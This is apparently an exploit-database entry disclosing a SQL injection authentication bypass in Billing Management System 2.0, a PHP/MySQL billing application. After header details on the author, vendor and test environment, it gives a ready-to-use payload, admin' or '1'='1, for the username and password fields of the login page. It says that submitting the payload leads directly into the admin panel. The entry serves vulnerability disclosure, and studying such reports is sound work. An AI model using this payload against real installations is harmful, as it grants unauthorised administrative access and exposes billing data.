# Exploit Title: Billing Management System 2.0 - 'email' SQL injection Auth Bypass # Date: 2021-02-16 # Exploit Author: Pintu Solanki # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14380/billing-management-system-php-mysql-updated.html # Software: Billing Management System 2.0 # Vulnerability Type: SQL injection - Auth Bypass # Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4 # This application is vulnerable to SQL injection vulnerability. # Vulnerable Page: http://localhost/smartbilling/smartbilling_source_code/index.php # Payload used: Username => admin' or '1'='1 Password => admin' or '1'='1 # POC: Whenever we will go to the page (http://localhost/smartbilling/smartbilling_source_code/index.php) when we inject SQL Payload then we will directly enter into the admin page.